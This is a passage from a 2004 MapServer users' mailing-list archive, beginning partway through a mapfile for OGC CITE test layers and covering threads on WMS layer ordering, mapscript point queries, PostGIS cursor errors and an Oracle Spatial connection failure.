    OVERLAYSYMBOL "route5"
    OVERLAYSIZE 15
    OVERLAYCOLOR 0 0 0
    LABEL
      POSITION CC
      COLOR 255 255 255
      FONT fritqat
      TYPE truetype
      SIZE 0
      PARTIALS false
    END
  END
  CLASS
    NAME "Route5WestAnnotations"
    EXPRESSION "102"
    COLOR 255 255 255
    OUTLINECOLOR 0 0 0
    #OVERLAYCOLOR 0 0 0
    SYMBOL 'routetag'
    SIZE 25
    OVERLAYSYMBOL "route5"
    OVERLAYSIZE 15
    OVERLAYCOLOR 0 0 0
    LABEL
      POSITION CC
      COLOR 255 255 255
      FONT fritqat
      TYPE truetype
      SIZE 0
      PARTIALS false
    END
  END
  METADATA
    "WMS_TITLE" "RoadSegments"
    "WMS_ABSTRACT" "RoadSegments layer."
    "WMS_SRS" "EPSG:4326"
  END
END #Layer

LAYER
  NAME Streams
  TYPE LINE
  STATUS ON
  DATA Streams
  PROJECTION
    "init=epsg:4326"
  END
  LABELITEM "NAME"
  CLASS
    NAME "Streams"
    COLOR 0 0 205
    OUTLINECOLOR 199 199 199
    SYMBOL 'circle'
    SIZE 2
    LABEL
      ANGLE AUTO
      COLOR  0 0 205
      BACKGROUNDCOLOR 255 255 255
      FONT fritqat-italic
      TYPE truetype
      SIZE 10
      POSITION UC
      PARTIALS FALSE
      OFFSET 30 5
    END
  END
  METADATA
    "WMS_TITLE" "cite:Streams"
    "WMS_ABSTRACT" "Streams layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME Forests
  TYPE POLYGON
#  STATUS ON
  STATUS DEFAULT
  DATA Forests
  PROJECTION
    "init=epsg:4326"
  END
  TEMPLATE "forests.html"
  CLASS
    NAME "Forests"
    COLOR 0 150 0
    OUTLINECOLOR 0 0 0
    MINSIZE 4
    #SYMBOL "sapin"
    SYMBOL "tree-gif"
    SIZE 90
#    OVERLAYSYMBOL "square"
#    OVERLAYSIZE 50
#    OVERLAYCOLOR -1 -1 -1
    TEXT "State | Forest"
    LABEL
      ANGLE AUTO
      COLOR  0 0 0
      BACKGROUNDCOLOR 255 255 255
      FONT fritqat
      TYPE truetype
      SIZE 18
      POSITION AUTO
      PARTIALS FALSE
      WRAP "|"
      OFFSET 100 -60
    END
  END
  METADATA
    "WMS_TITLE" "cite:Forests"
    "WMS_ABSTRACT" "Forests layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME Bridges
  TYPE POINT
  STATUS ON
  DATA Bridges
  PROJECTION
    "init=epsg:4326"
  END
  LABELITEM "NAME"
  CLASS
    NAME "Bridges"
    COLOR 0 0 0
    SYMBOL 'bridge'
    SIZE 40
    LABEL
      ANGLE AUTO
      COLOR  0 0 0
      FONT fritqat-italic
      TYPE truetype
      SIZE 10
      POSITION AUTO
      PARTIALS FALSE
      OFFSET 20 -8
    END
  END
  METADATA
    "WMS_TITLE" "cite:Bridges"
    "WMS_ABSTRACT" "Bridges layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME Lakes
  TYPE POLYGON
  STATUS ON
  DATA Lakes
  PROJECTION
    "init=epsg:4326"
  END
  TEMPLATE "lakes.html"
  CLASS
    NAME "Lakes"
    COLOR 0 0 205
    SIZE 8
    TEXT "BLUE | LAKE"
    LABEL
      ANGLE AUTO
      COLOR  255 255 255
      FONT fritqat
      TYPE truetype
      SIZE 9
      POSITION LL
      PARTIALS FALSE
      WRAP "|"
      OFFSET 15 -10
      FORCE true
    END
  END
  METADATA
    "WMS_TITLE" "cite:Lakes"
    "WMS_ABSTRACT" "Lakes layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer

LAYER
  NAME Buildings
  TYPE POLYGON
  STATUS ON
  DATA Buildings
  PROJECTION
    "init=epsg:4326"
  END
  TEMPLATE "buildings.html"
  CLASS
    NAME "Buildings"
    COLOR 255 255 255
    OUTLINECOLOR 0 0 0
  END
  METADATA
    "WMS_TITLE" "cite:Buildings"
    "WMS_ABSTRACT" "Buildings layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer
 
LAYER
  NAME BuildingCenters
  TYPE POINT
  STATUS ON
  DATA BuildingCenters
  PROJECTION
    "init=epsg:4326"
  END
  CLASS
    NAME "BuildingCenters"
    COLOR 0 0 0
    SYMBOL 'circle'
    SIZE 4
  END
  METADATA
    "WMS_TITLE" "cite:BuildingCenters"
    "WMS_ABSTRACT" "BuildingCenters layer."
    "WMS_SRS" "EPSG:4326"
  END
END # layer
 
END # Map File  


nicolas.fortin at ec.gc.ca wrote:

>Hi Heryk,
>
>Only the layer 1 is set to default, all other are set to OFF.  I 
>thought that doesn't matter in WMS cause you only got the layers you 
>are querying.
>
>I set layer 1 to ON and
>1- try LAYERS=2,1 and only got layer 2
>2- try LAYERS=1 and got nothing
>
>I set layer 1 to OFF (like the others) and
>1- try LAYERS=2,1 and only got layer 2
>2- try LAYERS=1 and got nothing
>
>Weird...
>Nick
>
>-----Message d'origine-----
>De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
>Envoy? : Monday, January 12, 2004 4:00 PM
>? : 'nicolas.fortin at ec.gc.ca'
>Objet : RE: [Mapserver-users] WMS LAYERS=
>
>
>Hi,
>Are your layers set to "default" in the mapfile? Is so, you will be 
>calling layers 1,2 and all the layers that are set to default! So your 
>might be calling layers 1 and 2 a second time around! Try setting them 
>to "ON".
>
>Bonne chance!
>H?ryk
>
>
>-----Message d'origine-----
>De : nicolas.fortin at ec.gc.ca [mailto:nicolas.fortin at ec.gc.ca] Envoy? : 
>Monday, January 12, 2004 3:30 PM ? : mapserver-users at lists.gis.umn.edu 
>Objet
>: [Mapserver-users] WMS LAYERS=
>
>
>Hi list,
>
>When I make a WMS request with the layers parameters like LAYERS=2,1
>
>In accordance to the OGC WMS Spec, layer 1 is suppose to be at the top 
>of layer 2 but it isn't the case...why??
>
>Even if I change to LAYERS=1,2 ... no change
>
>In the mapfile, layer 1 is at the end of the file and is always the top 
>layer on others applications using this mapfile.
>
>
>Thx for your help,
>
>Nicolas Fortin
>Math?maticien, Programmeur, Analyste de donn?es
>SMC-Qu?bec Hydrologie, Environnement Canada
>1141, Rte de l'?glise, Sainte-Foy(QC) G1V 4H5 
>(418)648-2516 
>nicolas.fortin at ec.gc.ca  
>
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>  
>


_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From lfilak at medinaco.org  Thu Jan 15 07:34:04 2004
From: lfilak at medinaco.org (Lowell Filak)
Date: Thu, 15 Jan 2004 10:34:04 -0500
Subject: [Mapserver-users] Longitude and Latitude positions
Message-ID: <20040115153356.2AE8A1A6599@mail.medinaco.org>

Depending on whether you mean something like the graticule object or a
point label there are a couple of different answers.
As far as the perl example for the graticule object goes - there was a
discussion on the list a little while back regarding that but there is
no final on the results yet.
However, specifying the graticule information in the mapfile directly
seems to work fine.
But then if your thinking of displaying lat-long in the browser as the
mouse moves over the map that requires some form of client-side
scripting, ie. Javascipt.

Lowell

The following message was sent by "Todd Birkenholtz"
 on Thu, 15 Jan 2004 08:40:37 -0600.

> 
> 
> 
> 
> I am new to Mapserver and the concept of GIS in general. I have a
question that
> I can not seem to be in the docs if it is I guess I do not know the
jargon used
> to describe it.
> 
> How do you mark Longitude and Latitude positions on a map? 



From mschulz at webgis.de  Thu Jan 15 08:23:30 2004
From: mschulz at webgis.de (Michael Schulz)
Date: Thu, 15 Jan 2004 17:23:30 +0100
Subject: [Mapserver-users] ZMapServer application online
Message-ID: <4006BE82.8080209@webgis.de>

Dear List,

we are happy to announce our first publicly available ZMapServer 
demonstration application.  The original app was developed for the 
geological survey of Hamburg, first for intranet use later on for 
internet use.

It runs with ZMapServer 0.7.5, Zope 2.6.1, MapServer 4.0.1, Python 
2.1.3, MySQL, PIL (on-the-fly graphics), ReportLab Toolkit (on-the-fly 
pdf's) on Linux (original application in Hamburg runs on MS-Windows 2K 
and Oracle instead of MySQL).

Find it here: http://www.zopecms.de/bohrdatenportal

Although this application only has a subset of the original data, it 
features most of the client functionality.

We are looking forward to your questions, suggestions and comments.

Cheers, Michael

P.S.: Thanks to Sean Gillies, who developed ZMapServer and patiently 
answers our python-mapscript questions ;-)

-- 
-----------------------------------------------------------
Michael Schulz                                in medias res
Dipl.-Geologe                              Gesellschaft f?r
                                 Informationstechnologie mbH
                                      In den Weihermatten 66
		                             79108 Freiburg
                                      0761 55695-95 (Fax 96)
mschulz at webgis.de              www.webgis.de/www.zopecms.de




From spoerri at duke.edu  Thu Jan 15 08:37:43 2004
From: spoerri at duke.edu (Christoph Spoerri)
Date: Thu, 15 Jan 2004 11:37:43 -0500
Subject: [Mapserver-users] mapscript: queryByPoint() returns no results
In-Reply-To: <86256E1C.00500CDA.00@mail.fbfs.com>
References: <86256E1C.00500CDA.00@mail.fbfs.com>
Message-ID: <200401151137.43574.spoerri@duke.edu>

Hi there,

I'm not sure what I'm doing wrong this time. I'm trying to query a polygon 
layer with a point. Yet, for some reason I only receive a 'No records found 
error', even if I click in the middle of the polygon! 

I'm using mapserver 4.0.1 with python scripts

thanks for you help again,
Christoph

Here's the code I'm using:

	lyrCoast = myMap.getLayerByName('Continents')
	try:
		qryPt = pointObj()
		qryPt.x,qryPt.y = xStart,yStart # coords are in pixels
		lyrCoast.queryByPoint(myMap.,qryPt,MS_MULTIPLE,0)
		result = lyrCoast.getResult(0)
		s = shapeObj(lyrCoast.type)
		lyrCoast.open()
		lyrCoast.getShape(s,result.tileindex,result.shapeindex)
		...


Here's the layer in the map file:

	LAYER
		NAME "Continents"
		STATUS DEFAULT
		TOLERANCE 5
		TOLERANCEUNITS pixels
		DATA "datalib/global/world_usa_canada"
		TYPE POLYGON
		TRANSPARENCY 0
		CLASS
			COLOR 180 210 170
			OUTLINECOLOR 150 190 140
		END
	END



From eric at gomoos.org  Thu Jan 15 09:47:18 2004
From: eric at gomoos.org (Eric Bridger)
Date: 15 Jan 2004 12:47:18 -0500
Subject: [Mapserver-users] mapscript: queryByPoint() returns no results
In-Reply-To: <200401151137.43574.spoerri@duke.edu>
References: <86256E1C.00500CDA.00@mail.fbfs.com>
 <200401151137.43574.spoerri@duke.edu>
Message-ID: <1074188844.1435.43.camel@ubet.gomoos.org>

I believe you need to add TEMPLATE "anything.html" in your LAYER or
CLASS to make it queryable. May sure to turn the layer on.  Also your
qryPt will need map coordinates not pixel values. You'll need to
translate using something like: (in Perl):

 @current_extent = split(' ', $q->param('imgext'));
 my $click_x = $q->param('mapimg.x');
 my $click_y = $q->param('mapimg.y');
 my $x_pct = ($click_x / $map->{width});
 my $y_pct = 1 - ($click_y / $map->{height});

 $x_map = $current_extent[0] + ( ($current_extent[2] -
$current_extent[0]) * $x_pct);
 $y_map = $current_extent[1] + ( ($current_extent[3] -
$current_extent[1]) * $y_pct);


HTH.
Eric

On Thu, 2004-01-15 at 11:37, Christoph Spoerri wrote:
> Hi there,
> 
> I'm not sure what I'm doing wrong this time. I'm trying to query a polygon 
> layer with a point. Yet, for some reason I only receive a 'No records found 
> error', even if I click in the middle of the polygon! 
> 
> I'm using mapserver 4.0.1 with python scripts
> 
> thanks for you help again,
> Christoph
> 
> Here's the code I'm using:
> 
> 	lyrCoast = myMap.getLayerByName('Continents')
> 	try:
> 		qryPt = pointObj()
> 		qryPt.x,qryPt.y = xStart,yStart # coords are in pixels
> 		lyrCoast.queryByPoint(myMap.,qryPt,MS_MULTIPLE,0)
> 		result = lyrCoast.getResult(0)
> 		s = shapeObj(lyrCoast.type)
> 		lyrCoast.open()
> 		lyrCoast.getShape(s,result.tileindex,result.shapeindex)
> 		...
> 
> 
> Here's the layer in the map file:
> 
> 	LAYER
> 		NAME "Continents"
> 		STATUS DEFAULT
> 		TOLERANCE 5
> 		TOLERANCEUNITS pixels
> 		DATA "datalib/global/world_usa_canada"
> 		TYPE POLYGON
> 		TRANSPARENCY 0
> 		CLASS
> 			COLOR 180 210 170
> 			OUTLINECOLOR 150 190 140
> 		END
> 	END
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 




From niko at isl.net.mx  Thu Jan 15 08:57:08 2004
From: niko at isl.net.mx (Nikolai Vladychevski)
Date: Thu, 15 Jan 2004 16:57:08 GMT
Subject: [Mapserver-users] JBox question
In-Reply-To: <001401c3daa7$a48b6be0$b1865fdb@clickntrac>
References: <001401c3daa7$a48b6be0$b1865fdb@clickntrac>
Message-ID: <20040115165708.2732.qmail@quazartecnologia.com>

Hi, 

I am trying to adapt JBox to do not use frames , neither Mapserv object, I 
need it only for plain zoom box, no more. I achieved it , minimizing the 
code, but strange thing happends, I have the [img] input in the form and 
when the user clicks on it, the img.x and img.y coordinates have values=0 
when they are sent to the mapserv CGI. If I get [img] input tag out of the 
anchor, the img.x and img.y values are sent correctly, the coordinates when 
user made click. Does anybody knows where in the code this img.x and img.y 
values are altered? I was looking but can't find it, would it be in CBE 
code? 

This is the fragment of my html code:







 

if I take out the  out of the 
 , 
even into a different 
 tag, the .x and .y coordinates are passed to 
CGI, but this way they are not.
I create the jbox with the initalize funtion:
 var img=new dBox("img",600,600,"#FF0000",2);
 function windowOnload() {
     img.initialize();
 }
so I guess somewhere in dbox or cbe are a procedure that resets img.x and 
img.y variables to 0 values ... 

Thanks in advance
Nikolai 



From wim.blanken at planet.nl  Thu Jan 15 10:35:10 2004
From: wim.blanken at planet.nl (Wim Blanken PI)
Date: Thu, 15 Jan 2004 19:35:10 +0100
Subject: [Mapserver-users] multiple query problem with postgis
Message-ID: <003401c3db96$512459e0$6400a8c0@BLANKEN>

This is a multi-part message in MIME format.

--Boundary_(ID_YPY3OeH8YGNt10n5cgOIwg)
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: 7BIT

Hello List,

Postgis and mapserver are working OK in my application except
when I use itemnquery instead of itemquery. When I use
Itemnquery using a jbox rectangle postgis complains:

msPOSTGISLayerGetShape(): Query error. Error executing POSTGIS SQL statement (in FETCH ALL): DECLARE mycursor BINARY CURSOR FOR SELECT asbinary(force_collection(force_2d(the_geom)),'NDR') from test_vlakken WHERE OID = 106744 -ERROR: cursor "mycursor" already exists 
etc.....

I saw two other recent questions regarding this problem but there was no answer to them.
Is this a bug?

I am using mapserver 4.0 with postgis 0.8 on postgresql 7.4.1 on redhat linux 9.

Regards,

W. Blanken



--Boundary_(ID_YPY3OeH8YGNt10n5cgOIwg)
Content-type: text/html; charset=iso-8859-1
Content-transfer-encoding: 7BIT









Hello List,


 


Postgis and mapserver are working OK in my 
application except


when I use itemnquery instead of itemquery. When I 
use


Itemnquery using a jbox rectangle postgis 
complains:


 


msPOSTGISLayerGetShape(): Query error. Error executing POSTGIS SQL 
statement (in FETCH ALL): DECLARE mycursor BINARY CURSOR FOR SELECT 
asbinary(force_collection(force_2d(the_geom)),'NDR') from test_vlakken WHERE OID 
= 106744 -ERROR: cursor "mycursor" already exists 


etc.....


 


I saw two other recent questions regarding this 
problem but there was no answer to them.


Is this a bug?


 


I am using mapserver 4.0 with postgis 0.8 on 
postgresql 7.4.1 on redhat linux 9.


 


Regards,


 


W. Blanken


 


 


--Boundary_(ID_YPY3OeH8YGNt10n5cgOIwg)--


From spoerri at duke.edu  Thu Jan 15 10:29:02 2004
From: spoerri at duke.edu (Christoph Spoerri)
Date: Thu, 15 Jan 2004 13:29:02 -0500
Subject: [Mapserver-users] mapscript: queryByPoint() returns no results
In-Reply-To: <1074188844.1435.43.camel@ubet.gomoos.org>
References: <86256E1C.00500CDA.00@mail.fbfs.com> <200401151137.43574.spoerri@duke.edu> <1074188844.1435.43.camel@ubet.gomoos.org>
Message-ID: <200401151329.02701.spoerri@duke.edu>

Thanks! Turning the layer ON did the job. I tried the TEMPLATE, pixel vs. map 
units, and a bunch of other things, but I forgot (or didn't know) that the 
layer has to be on in order to query it.

BTW. does anybody know why there has to be the TEMPLATE keyword in the 
layer/class? This make sense for the mapserver cgi, but not necessarly for 
the mapscripts. Also, I would think one should be able to query a later even 
when it's not visible.

Christoph

On Thursday 15 January 2004 12:47 pm, Eric Bridger wrote:
> I believe you need to add TEMPLATE "anything.html" in your LAYER or
> CLASS to make it queryable. May sure to turn the layer on.  Also your
> qryPt will need map coordinates not pixel values. You'll need to
> translate using something like: (in Perl):
>
>  @current_extent = split(' ', $q->param('imgext'));
>  my $click_x = $q->param('mapimg.x');
>  my $click_y = $q->param('mapimg.y');
>  my $x_pct = ($click_x / $map->{width});
>  my $y_pct = 1 - ($click_y / $map->{height});
>
>  $x_map = $current_extent[0] + ( ($current_extent[2] -
> $current_extent[0]) * $x_pct);
>  $y_map = $current_extent[1] + ( ($current_extent[3] -
> $current_extent[1]) * $y_pct);
>
>
> HTH.
> Eric
>
> On Thu, 2004-01-15 at 11:37, Christoph Spoerri wrote:
> > Hi there,
> >
> > I'm not sure what I'm doing wrong this time. I'm trying to query a
> > polygon layer with a point. Yet, for some reason I only receive a 'No
> > records found error', even if I click in the middle of the polygon!
> >
> > I'm using mapserver 4.0.1 with python scripts
> >
> > thanks for you help again,
> > Christoph
> >
> > Here's the code I'm using:
> >
> > 	lyrCoast = myMap.getLayerByName('Continents')
> > 	try:
> > 		qryPt = pointObj()
> > 		qryPt.x,qryPt.y = xStart,yStart # coords are in pixels
> > 		lyrCoast.queryByPoint(myMap.,qryPt,MS_MULTIPLE,0)
> > 		result = lyrCoast.getResult(0)
> > 		s = shapeObj(lyrCoast.type)
> > 		lyrCoast.open()
> > 		lyrCoast.getShape(s,result.tileindex,result.shapeindex)
> > 		...
> >
> >
> > Here's the layer in the map file:
> >
> > 	LAYER
> > 		NAME "Continents"
> > 		STATUS DEFAULT
> > 		TOLERANCE 5
> > 		TOLERANCEUNITS pixels
> > 		DATA "datalib/global/world_usa_canada"
> > 		TYPE POLYGON
> > 		TRANSPARENCY 0
> > 		CLASS
> > 			COLOR 180 210 170
> > 			OUTLINECOLOR 150 190 140
> > 		END
> > 	END
> >
> > _______________________________________________
> > Mapserver-users mailing list
> > Mapserver-users at lists.gis.umn.edu
> > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From bartvde at xs4all.nl  Thu Jan 15 10:35:19 2004
From: bartvde at xs4all.nl (Bart van den Eijnden)
Date: Thu, 15 Jan 2004 19:35:19 +0100
Subject: [Mapserver-users] RE : OracleSpatial Error
In-Reply-To: 
References: 
Message-ID: 

Hi Nicolas,

is this the full error message, or an error message showing up in your 
browser after performing a WMS request?

In other words, have you set the MS_ERRORFILE environment variable to get 
full debugging output?

BTW: what platform is your server on and which Oracle version? Do you have 
the same (version of the) Oracle client installed on the server and on 
your workstation? What webserver do you have?

Best regards,
Bart

On Thu, 15 Jan 2004 09:35:53 -0500,  wrote:

>
> Hi again!
>
> My Oracle problem on the server is not solved yet.
>
> msDrawMap(): Image handling error. Failed to draw layer named '1_02'.
> msOCIConnect() in msOracleSpatialLayerOpen(): OracleSpatial error.
>
> More observations :
> I can get an image with the shp2img utilities and the same mapfile.
> I can make Oracle spatial query from SQL*Plus on the server without 
> error.
> I use the same layers and Oracle connection/user of this mapfile on my
> workstation without error.
>
> The error only appears when the request is made to the web server
>
> I'm open to all kind of suggestions!
> Thx
> Nicolas
>
> -----Message d'origine-----
> De : nicolas.fortin at ec.gc.ca [mailto:nicolas.fortin at ec.gc.ca]
> Envoy? : Tuesday, January 13, 2004 10:29 AM
> ? : nsavard at dmsolutions.ca; hjulien at nrcan.gc.ca
> Cc : mapserver-users at lists.gis.umn.edu
> Objet : RE : RE : RE : [Mapserver-users] WMS LAYERS= [SOLVED] But an 
> Orac le
> one too!
>
>
>
> Problem solved!
> The mapfile sent below is not exactly the right one, in the other, one 
> group
> has the same name as a layer.  By renaming the group, all is back to 
> normal.
>
> Thx for your help!
>
> Now we have a weird oracle error message from the server we're trying to
> install mapserver, here it is:
> msDrawMap(): Image handling error. Failed to draw layer named '1_02'.
> msOCIConnect() in msOracleSpatialLayerOpen(): OracleSpatial error.
>
> I searched the archive but found nothing...
> An idea? Someone...
>
> Nick
>
> -----Message d'origine-----
> De : nicolas.fortin at ec.gc.ca [mailto:nicolas.fortin at ec.gc.ca]
> Envoy? : Tuesday, January 13, 2004 9:46 AM
> ? : nsavard at dmsolutions.ca
> Cc : mapserver-users at lists.gis.umn.edu
> Objet : RE : RE : [Mapserver-users] WMS LAYERS=
>
>
>
> Hi Normand, thx for your answer!
> No, you don't have access to it cause it's only intranet for the 
> moment...
>
> This afternoon, I'll try to place the layers like Heryk said to see if it
> works.
>
> Here's my wms request:
> http://f044d065/mapserv/mapcmitest2.asp?REQUEST=GetMap&SERVICE=wms&VERSION=1
> .1.1&Layers=2,1&BBOX=7610000,1222000,7622000,1234000
>
> And my mapfile:
> # ---------------------------------------------------------------------
> # Mapserver 4.0 for Oracle
> # Nicolas Fortin, Env Can nicolas.fortin at ec.gc.ca
> # MapFile Test pour la CMI V1.4
> # ---------------------------------------------------------------------
>
> NAME IJC4
> EXTENT 7610000 1222000 7622000 1234000 #Lac St-Louis
> SIZE 425 425
> SYMBOLSET 'C:\Inetpub\wwwroot\mapserv\symbols\symbols35.sym'
>
> # Projection LCC de la CMI
> PROJECTION
>   "proj=lcc"
>   "ellps=GRS80"
>   "lat_0=63"
>   "lon_0=-91.8666"
>   "lat_1=49"
>   "lat_2=77"
>   "x_0=6200000"
>   "y_0=2958000"
>   "datum=NAD83"
>   "units=m"
> END
>
> WEB
>   TEMPLATE defaultcmitest1.html
>   HEADER header.html
>   FOOTER footer.html
>   IMAGEPATH "C:/Inetpub/wwwroot/tmp/"
>   IMAGEURL "/tmp/"
>   METADATA
>     wms_title "WMS Quebec Node for IJC test2"
>     wms_onlineresource "http://f044d065/mapserv/mapcmitest2.asp?"
>     wms_contactelectronicmailaddress "nicolas.fortin at ec.gc.ca"
>     wms_contactperson "Nicolas Fortin"
>     wms_contactorganization "Environnement Canada, SMC-Hydrologie"
>     wms_contactposition "Programmeur, Analyste de donn?es num?riques"
>     wms_srs "EPSG:4326 EPSG:4269 EPSG:2145 EPSG:42304"
>   END
> END
>
> LEGEND
>   STATUS ON
>   LABEL
>      COLOR 0 0 0
>      SHADOWCOLOR 218 218 218
>      SHADOWSIZE 2 2
>      TYPE BITMAP
>      SIZE MEDIUM
>      POSITION CC
>      PARTIALS FALSE
>      BUFFER 2
>   END
> END
>
> REFERENCE
>   STATUS ON
>   IMAGE "c:\Inetpub\wwwroot\mapserv\images\ref_cmi_lite2.gif"
>   SIZE 150 150
>   EXTENT 7549910 1161398 7689518 1363371
>   COLOR -1 -1 -1
>   OUTLINECOLOR 255 0 0
> END
>
> LAYER
>   NAME "2"
>   TYPE POLYGON
>   CONNECTIONTYPE oraclespatial
>   CONNECTION "user/****@quebijc"
>   DATA "POLYGON FROM USR_WATERSHED.VWTRSD_LCC USING SRID 3000000"
>   STATUS OFF
>   DUMP TRUE
>
>   METADATA
>     wms_title "Quebec Watersheds"
>     wms_extent "7035577.31 1082076.03 7833285.05 1507787.39"
>   END
>
>   PROJECTION
>     "proj=lcc"
>     "ellps=GRS80"
>     "lat_0=63"
>     "lon_0=-91.8666"
>     "lat_1=49"
>     "lat_2=77"
>     "x_0=6200000"
>     "y_0=2958000"
>     "datum=NAD83"
>     "units=m"
>   END
>
>   CLASS
>     NAME "Watershed"
>     SYMBOL 'CIRCLE'
>     SIZE 2
>     COLOR 255 255 255
>     OUTLINECOLOR 0 204 0
>   END
> END
>
> LAYER
>   NAME "1"
>   TYPE LINE
>   CONNECTIONTYPE oraclespatial
>   CONNECTION "user/****@quebijc"
>   DATA "LINE FROM USR_SHORELINE.VSHORELINE_LCC USING SRID 3000000"
>   STATUS DEFAULT
>   GROUP "Shoreline"
>   DUMP TRUE
>
>   METADATA
>     wms_title "St. Lawrence River Detailed Shoreline"
>     wms_extent "7563132.5 1166237.24 7684888.9 1363371.77"
>     wms_group_title "Shoreline"
>   END
>
>   PROJECTION
>     "proj=lcc"
>     "ellps=GRS80"
>     "lat_0=63"
>     "lon_0=-91.8666"
>     "lat_1=49"
>     "lat_2=77"
>     "x_0=6200000"
>     "y_0=2958000"
>     "datum=NAD83"
>     "units=m"
>   END
>
>   CLASS
>     NAME "Detailed Shoreline"
>     COLOR 0 51 255
>     SYMBOL 'CIRCLE'
>     SIZE 1
>   END
> END # Shoreline
>
> END
>
>
> -----Message d'origine-----
> De : Normand Savard [mailto:nsavard at dmsolutions.ca]
> Envoy? : Monday, January 12, 2004 5:05 PM
> ? : nicolas.fortin at ec.gc.ca
> Cc : hjulien at nrcan.gc.ca; mapserver-users at lists.gis.umn.edu Objet : Re: 
> RE :
> [Mapserver-users] WMS LAYERS=
>
>
> Hi,
>
> I tried to replicate this problem without success by using our WMS
> server used during the OGC compliance tests.   I also used the OGC test
> suite requests.  I joined both the map file and the requests sent (see
> below).  Theses requests contain three layers.  In the first request,
> the "Forest" layer is drawn first.  In the second request, the "Forest"
> layer is drawn last.  You can also see that I modified the mapfile to
> set the "Forest" layer status to "DEFAULT".   It does not seem to affect
> the drawing order.  But maybe I'm missing something.  Do we have access
> your WMS server?  It is possible to have a copy of your mapfile and the
> request you are currently sending?
>
> Norm
>
>
>
> The requests used are.
>
>
> http://www2.dmsolutions.ca/cgi-bin/mswms_ogc_cite?VERSION=1.1.1&REQUEST=GetM
> ap&LAYERS=Forests,Lakes,NamedPlaces&STYLES=&SRS=EPSG:4326&BBOX=-0.0042,-0.00
> 24,0.0042,0.0024&WIDTH=168&HEIGHT=96&FORMAT=image/gif
>
>
> http://www2.dmsolutions.ca/cgi-bin/mswms_ogc_cite?VERSION=1.1.1&REQUEST=GetM
> ap&LAYERS=NamedPlaces,Lakes,Forests&STYLES=&SRS=EPSG:4326&BBOX=-0.0042,-0.00
> 24,0.0042,0.0024&WIDTH=168&HEIGHT=96&FORMAT=image/gif
>
>
>
> Our map file is as follow:
>
> #
> # Start of map file
> #
> # $Id: ogc_cite_wms_server.map,Exp $
> #
> NAME OGC_CITE
> STATUS ON
> SIZE 600 400
> ## EPSG:4326 extents
> EXTENT -2 -2 -1 6
> #EXTENT -0.0042 -0.0024 0.0042 0.0024
>
> UNITS METERS
> SHAPEPATH "../data/shapefile"
> IMAGECOLOR 255 255 255
> FONTSET ../etc/fonts.txt
> SYMBOLSET ../etc/symbols.sym
>
> #
> # Start of web interface definition
> #
> WEB
> # On Windows systems, /tmp and /tmp/ms_tmp/ should be created at the 
> root #
> of the drive where the .MAP file resides. #
>   IMAGEPATH "/tmp/ms_tmp/"
>   IMAGEURL "/ms_tmp/"
> #  LOG "/tmp/gmap.log"
>   METADATA
>     "WMS_TITLE"         "cite:OGC_CITE WMS Server"
>     "WMS_ONLINERESOURCE"
> "http://www2.dmsolutions.ca/cgi-bin/mswms_ogc_cite?"
>     "WMS_SRS"           "EPSG:4326"
>     "OWS_SCHEMAS_LOCATION" "http://ogc.dmsolutions.ca"
>     "WMS_ACCESSCONTRAINTS" "none"
>     "WMS_FEES"              "none"
>
>   END
> END
>
> PROJECTION
>   "init=epsg:4326"
> END
>
> QUERYMAP
>   SIZE 200 200
>   STATUS ON
>   STYLE HILITE
>   COLOR 255 0 0
> END
>
> #
> # Start of layer definitions
> #
>
> LAYER
>   NAME BasicPolygons
>   TYPE POLYGON
>   STATUS OFF
>   DATA BasicPolygons
>   PROJECTION
>     "init=epsg:4326"
>   END
>   TEMPLATE "basicpolygons.html"
>   CLASS
>     NAME "BasicPolygons"
>     COLOR 194 194 194
>   END
>   METADATA
>     "WMS_TITLE" "cite:BasicPolygons"
>     "WMS_ABSTRACT" "BasicPolygons layer."
> #    "WMS_SRS" "EPSG:4326"
>   END
> END # layer
>
> LAYER
>   NAME DividedRoutes
>   TYPE LINE
>   STATUS ON
>   DATA DividedRoutes
>   PROJECTION
>     "init=epsg:4326"
>   END
>   CLASS
>     NAME "DividedRoutes"
>     COLOR 0 0 0
>     OUTLINECOLOR 0 0 0
>     SYMBOL 'circle'
>     SIZE 6
>   END
>   METADATA
>     "WMS_TITLE" "cite:DividedRoutes"
>     "WMS_ABSTRACT" "DividedRoutes layer."
>     "WMS_SRS" "EPSG:4326"
>   END
> END # layer
>
> LAYER
>   NAME DividedRoutes_anno
>   STATUS ON
>   DATA DividedRoutes
>   TYPE ANNOTATION
>   LABELITEM "NAME"
>   CLASS
>     NAME "DividedRoutesAnnotations"
>     COLOR 255 255 255
>     OUTLINECOLOR 0 0 0
>     SYMBOL 'routetag'
>     SIZE 40
>     OVERLAYSYMBOL "route75"
>     OVERLAYSIZE 15
>     OVERLAYCOLOR 0 0 0
>     LABEL
>       POSITION CC
>       COLOR 255 255 255
>       FONT fritqat
>       TYPE truetype
>       SIZE 0
>       PARTIALS false
>     END
>   END
>   METADATA
>     "WMS_TITLE" "DividedRoutes"
>     "WMS_ABSTRACT" "Divided routes layer."
>     "WMS_SRS" "EPSG:4326"
>   END
> END # layer
>
> LAYER
>   NAME MapNeatline
>   TYPE LINE
>   STATUS ON
>   DATA MapNeatline
>   PROJECTION
>     "init=epsg:4326"
>   END
>   CLASS
>     NAME "MapNeatline"
>     COLOR 0 0 0
>     SYMBOL 'circle'
>     SIZE 3
>   END
>   METADATA
>     "WMS_TITLE" "cite:MapNeatline"
